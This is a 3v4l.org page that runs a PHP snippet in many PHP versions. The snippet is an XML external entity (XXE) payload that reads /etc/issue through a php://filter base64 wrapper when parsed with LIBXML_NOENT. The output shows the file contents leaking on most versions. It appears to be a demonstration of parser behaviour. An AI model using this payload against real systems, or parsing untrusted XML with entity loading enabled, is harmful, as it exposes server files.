3v4l.org

run code in 300+ PHP versions simultaneously
<?php /** * @link http://stackoverflow.com/a/29864193/367456 */ $buffer = <<<XML <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/issue" >]><foo>&xxe;</foo> XML; //libxml_disable_entity_loader(false); $xml = simplexml_load_string($buffer); $xml->asXML('php://output'); $xml = simplexml_load_string($buffer, 'SimpleXMLElement', LIBXML_NOENT); $xml->asXML('php://output');
Output for 5.1.0 - 5.1.1, 5.1.3 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.10, 7.1.25 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/issue"> ]> <foo>&xxe;</foo> <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/issue"> ]> <foo>QXJjaCBMaW51eCBcciAoXGwpCgo=</foo>
Output for 7.1.20
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/issue"> ]> <foo>&xxe;</foo> Warning: simplexml_load_string(): open_basedir restriction in effect. File(/etc/issue) is not within the allowed path(s): (/tmp:/in) in /in/biSsC on line 18 Warning: simplexml_load_string(php://filter/convert.base64-encode/resource=/etc/issue): failed to open stream: operation failed in /in/biSsC on line 18 Warning: simplexml_load_string(): I/O warning : failed to load external entity "php://filter/convert.base64-encode/resource=/etc/issue" in /in/biSsC on line 18 Warning: simplexml_load_string(): Entity: line 4: parser error : Failure to process entity xxe in /in/biSsC on line 18 Warning: simplexml_load_string(): xe SYSTEM "php://filter/convert.base64-encode/resource=/etc/issue" >]><foo>&xxe; in /in/biSsC on line 18 Warning: simplexml_load_string(): ^ in /in/biSsC on line 18 Warning: simplexml_load_string(): Entity: line 4: parser error : Entity 'xxe' not defined in /in/biSsC on line 18 Warning: simplexml_load_string(): xe SYSTEM "php://filter/convert.base64-encode/resource=/etc/issue" >]><foo>&xxe; in /in/biSsC on line 18 Warning: simplexml_load_string(): ^ in /in/biSsC on line 18 Fatal error: Uncaught Error: Call to a member function asXML() on boolean in /in/biSsC:19 Stack trace: #0 {main} thrown in /in/biSsC on line 19
Process exited with code 255.
Output for 5.1.2
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/issue"> ]> <foo>&xxe;</foo> <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/issue"> ]> <foo>QXJjaCBMaW51eCBcciAoXGwp</foo>
Output for 5.0.0 - 5.0.5
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/issue"> ]> <foo>&xxe;</foo> Notice: Use of undefined constant LIBXML_NOENT - assumed 'LIBXML_NOENT' in /in/biSsC on line 18 Warning: simplexml_load_string() expects at most 2 parameters, 3 given in /in/biSsC on line 18 Fatal error: Call to a member function asXML() on a non-object in /in/biSsC on line 19
Process exited with code 255.
Output for 4.4.5 - 4.4.9
Fatal error: Call to undefined function: simplexml_load_string() in /in/biSsC on line 15
Process exited with code 255.
Output for 4.3.2 - 4.3.11, 4.4.0 - 4.4.1, 4.4.3 - 4.4.4
Fatal error: Call to undefined function: simplexml_load_string() in /in/biSsC on line 15
Process exited with code 255.
Output for 4.4.2
Fatal error: Call to undefined function: simplexml_load_string() in /in/biSsC on line 16
Process exited with code 255.
Output for 4.3.0 - 4.3.1
Fatal error: Call to undefined function: simplexml_load_string() in /in/biSsC on line 15

preferences:
298.64 ms | 401 KiB | 400 Q